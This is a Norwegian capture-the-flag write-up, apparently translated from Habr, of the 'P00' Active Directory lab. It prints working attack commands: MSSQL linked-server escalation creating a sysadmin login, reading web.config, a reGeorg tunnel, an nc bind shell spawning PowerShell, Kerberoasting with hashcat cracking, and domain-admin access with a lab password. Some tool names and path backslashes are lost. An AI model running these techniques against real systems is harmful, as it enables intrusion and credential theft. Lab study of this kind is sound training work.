I denne artikkelen vil vi analysere passasjen til ikke bare en maskin, men et helt minilaboratorium fra nettstedet
Som det fremgår av beskrivelsen, er POO designet for å teste ferdigheter i alle stadier av angrep i et lite Active Directory-miljø. Målet er å kompromittere en tilgjengelig vert, eskalere privilegier og til slutt kompromittere hele domenet mens du samler inn 5 flagg.
Tilkobling til laboratoriet skjer via VPN. Det anbefales å ikke koble til fra en arbeidsdatamaskin eller fra en vert der det er data som er viktige for deg, siden du havner på et privat nettverk med folk som kan noe innen informasjonssikkerhet :)
Organisasjonsinformasjon
For å hjelpe deg med å holde deg oppdatert med nye artikler, programvare og annen informasjon, har jeg laget
All informasjon presenteres kun for pedagogiske formål. Forfatteren av dette dokumentet påtar seg ikke noe ansvar for skader forårsaket av noen som følge av bruk av kunnskap og teknikker som er oppnådd ved å studere dette dokumentet.
Intro
Dette sluttspillet består av to maskiner, og inneholder 5 flagg.
En beskrivelse og adresse til den tilgjengelige verten er også gitt.
La oss komme i gang!
Recon flagg
Denne maskinen har IP-adressen 10.13.38.11, som jeg legger til i /etc/hosts.
10.13.38.11 poo.htb
Først av alt skanner vi åpne porter. Siden skanning av alle porter med nmap tar lang tid, vil jeg først gjøre dette ved hjelp av masscan. Vi skanner alle TCP- og UDP-porter fra tun0-grensesnittet med en hastighet på 500 pakker per sekund.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Nå, for å få mer detaljert informasjon om tjenestene som kjører på portene, la oss kjøre en skanning med -A-alternativet.
nmap -A poo.htb -p80,1433
Så vi har IIS- og MSSQL-tjenester. I dette tilfellet vil vi finne ut det virkelige DNS-navnet til domenet og datamaskinen. På webserveren blir vi møtt av IIS-hjemmesiden.
La oss gå gjennom katalogene. Jeg bruker gobuster til dette. I parametrene angir vi antall tråder 128 (-t), URL (-u), ordbok (-w) og utvidelser som interesserer oss (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Dette gir oss HTTP-autentisering for /admin-katalogen, i tillegg til en tilgjengelig skrivebordstjeneste .DS_Store-fil. .DS_Store er filer som lagrer egendefinerte innstillinger for en mappe, for eksempel en liste over filer, ikonplasseringer og det valgte bakgrunnsbildet. En slik fil kan havne i webserverkatalogen til webutviklere. På denne måten får vi informasjon om innholdet i katalogen. Til dette kan du bruke
python3 dsstore_crawler.py -i http://poo.htb/
Vi får innholdet i katalogen. Det mest interessante her er /dev-katalogen, hvorfra vi kan se på kildene og db-filene i to grener. Men vi kan bruke de første 6 tegnene i fil- og katalognavn hvis tjenesten er sårbar for IIS ShortName. Du kan se etter dette sikkerhetsproblemet ved å bruke
Og vi finner én tekstfil som starter med "poo_co". Uten at jeg visste hva jeg skulle gjøre videre, valgte jeg bare alle ordene som begynner med "co" fra katalogordboken.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Og vi ordner det med wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Og vi finner det rette ordet! Vi ser på denne filen, lagrer legitimasjonen (ut fra DBNAME-parameteren er de fra MSSQL).
Vi gir fra oss flagget og vi rykker opp 20%.
Hehe flagg
Vi kobler til MSSQL, jeg bruker DBeaver.
Vi finner ikke noe interessant i denne databasen, la oss lage en SQL Editor og sjekke hvilke brukere det er.
SELECT name FROM master..syslogins;
Vi har to brukere. La oss sjekke privilegiene våre.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Dermed er det ingen privilegier. La oss se på koblede servere, jeg skrev om denne teknikken i detalj
SELECT * FROM master..sysservers;
Slik finner vi en annen SQL Server. La oss teste utføringen av kommandoer på denne serveren ved å bruke openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Og vi kan til og med bygge et spørringstre.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Poenget er at når vi sender en forespørsel til en koblet server, blir forespørselen utført i sammenheng med en annen bruker! La oss se i sammenheng med hvilken bruker vi jobber på en koblet server.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
La oss nå se i hvilken sammenheng en forespørsel sendes fra en koblet server til vår!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Så det er DBO-konteksten som skal ha alle privilegiene. La oss sjekke privilegiene i tilfelle en forespørsel fra en koblet server.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Som du kan se, har vi alle privilegiene! La oss lage vår egen admin som dette. Men de tillater det ikke gjennom openquery, la oss gjøre det gjennom EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Og nå kobler vi til legitimasjonen til den nye brukeren, vi observerer den nye flaggdatabasen.
Vi overleverer dette flagget og går videre.
BackTrack flagg
La oss få et skall med MSSQL, jeg bruker mssqlclient fra impacket-pakken.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Vi må få passord, og det første vi allerede har møtt er en nettside. Dermed trenger vi en webserverkonfigurasjon (det er ikke mulig å forlate et praktisk skall, tilsynelatende kjører brannmuren).
Men tilgang nektes. Selv om vi kan lese filen fra MSSQL, trenger vi bare å vite hvilke programmeringsspråk som er konfigurert. Og i MSSQL-katalogen finner vi ut at det er Python.
Da er det ikke noe problem å lese web.config-filen.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Med den funnet legitimasjonen, gå til /admin og ta flagget.
Fotfeste flagg
Faktisk er det noen ulemper ved å bruke en brannmur, men ser vi gjennom nettverksinnstillingene ser vi at IPv6 også brukes!
La oss legge til denne adressen i /etc/hosts.
dead:babe::1001 poo6.htb
La oss skanne verten på nytt, men ved å bruke IPv6-protokollen.
Og WinRM-tjenesten er tilgjengelig over IPv6. La oss koble til legitimasjonen som ble funnet.
Det er et flagg på skrivebordet, vi overleverer det.
P00ned flagg
Etter å ha gjennomført rekognosering på verten ved hjelp av
setspn.exe -T intranet.poo -Q */*
La oss kjøre kommandoen via MSSQL.
Ved å bruke denne metoden får vi SPN til brukerne p00_hr og p00_adm, noe som betyr at de er sårbare for et angrep som Kerberoasting. Kort sagt, vi kan få passordhasjene deres.
Først må du få et stabilt skall som MSSQL-bruker. Men siden vi er begrenset i tilgang, har vi kommunikasjon med verten bare gjennom portene 80 og 1433. Men det er mulig å tunnelere trafikk gjennom port 80! Til dette vil vi bruke
Men når vi prøver å få tilgang til den, får vi en feil 404. Dette betyr at *.aspx-filer ikke kjøres. For at filer med disse utvidelsene skal kjøres, installer ASP.NET 4.5 som følger.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Og nå, når vi går inn på tunnel.aspx, får vi et svar om at alt er klart til å gå.
La oss starte klientdelen av applikasjonen, som vil videresende trafikk. Vi vil videresende all trafikk fra port 5432 til serveren.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Og vi bruker proxy-kjeder til å sende trafikk av alle applikasjoner gjennom vår proxy. La oss legge til denne proxyen i konfigurasjonsfilen /etc/proxychains.conf.
La oss nå laste opp programmet til serveren
Nå starter vi lytteren via MSSQL.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Og vi kobler til via vår proxy.
proxychains rlwrap nc poo.htb 4321
Og la oss få hashen.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Deretter må du iterere over disse hashene. Siden rockyou-ordboken ikke inneholdt disse passordene, brukte jeg ALLE passordordbøkene som er gitt i Seclists. For søket bruker vi hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Og vi finner begge passordene, det første i ordboken dutch_passwordlist.txt, og det andre i Keyboard-Combinations.txt.
Og så vi har tre brukere, la oss gå til domenekontrolleren. Først finner vi ut adressen hans.
Flott, vi fant ut IP-adressen til domenekontrolleren. La oss finne ut alle brukerne av domenet, samt hvem av dem som er administrator. For å laste ned skriptet for å få informasjon PowerView.ps1. Deretter kobler vi til ved å bruke evil-winrm, og spesifiserer katalogen med skriptet i parameteren -s. Og så laster vi bare PowerView-skriptet.
Nå har vi tilgang til alle funksjonene. p00_adm-brukeren ser ut som en privilegert bruker, så vi vil jobbe i hans kontekst. La oss lage et PSCredential-objekt for denne brukeren.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Nå vil alle Powershell-kommandoer der vi spesifiserer Creds bli utført som p00_adm. La oss vise en liste over brukere og AdminCount-attributtet.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Så brukeren vår er virkelig privilegert. La oss se hvilke grupper han er i.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Vi bekrefter endelig at brukeren er en domeneadministrator. Dette gir ham rett til å logge på domenekontrolleren eksternt. La oss prøve å logge på via WinRM ved å bruke tunnelen vår. Jeg ble forvirret av feilene produsert av reGeorg når jeg brukte evil-winrm.
Så la oss bruke en annen, enklere,
Vi prøver å koble til, og vi er i systemet.
Men det er ikke noe flagg. Se deretter på brukeren og sjekk skrivebordene.
Vi finner flagget hos mr3ks og laboratoriet er 100% ferdigstilt.
Det er alt. Som en tilbakemelding, vennligst kommenter om du lærte noe nytt fra denne artikkelen og om den var nyttig for deg.
Du kan bli med oss på
Kilde: www.habr.com